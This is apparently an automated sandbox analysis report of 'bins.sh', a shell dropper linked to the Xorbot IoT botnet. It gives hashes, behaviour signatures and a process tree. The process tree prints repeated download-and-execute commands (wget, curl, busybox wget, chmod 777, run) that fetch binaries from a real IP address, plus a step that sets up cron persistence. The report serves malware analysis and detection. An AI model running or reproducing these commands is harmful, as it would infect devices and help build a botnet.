Analysis
-
max time kernel
150s -
max time network
154s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
-
submitted
02/12/2024, 03:21
General
-
Target
bins.sh
-
Size
10KB
-
MD5
76cb499bf206bd1606439aa4cb42c17f
-
SHA1
583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4
-
SHA256
c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab
-
SHA512
fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24
-
SSDEEP
96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c
Malware Config
Signatures
-
Detects Xorbot 3 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Contacts a large (1827) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 5 IoCs
-
Renames itself 1 IoCs
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- File and Directory Permissions Modification
-
-
/tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
- Executes dropped EXE
-
-
/bin/rmrm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN4192⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- File and Directory Permissions Modification
-
-
/tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx./UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
- Executes dropped EXE
-
-
/bin/rmrm UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- File and Directory Permissions Modification
-
-
/tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV./DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- File and Directory Permissions Modification
-
-
/tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5./KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
- Executes dropped EXE
-
-
/bin/rmrm KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv52⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- File and Directory Permissions Modification
-
-
/tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW./f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
- Executes dropped EXE
-
-
/bin/rmrm f806AmcB1GxbUH8krpqFZajtH5iRfxLflW2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH072⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD557d91971cc5ffad8c1ed3e58f7e9ec3c
SHA1af247b6f5472c864831b6c27282c68cb82f2b8f0
SHA256458c5f3fc31c253bc33153eec799a0f3c43403a9422c22395c9e3bb684cf09e3
SHA512daa10b09a87b7ae6e072ebc32f1619d6f1ef82d5ce2dbd17749ceb573f329efb0b5939b45a6ea3d23c65e67e83cfd679d5edd2c009559ec7df903f38f82291cb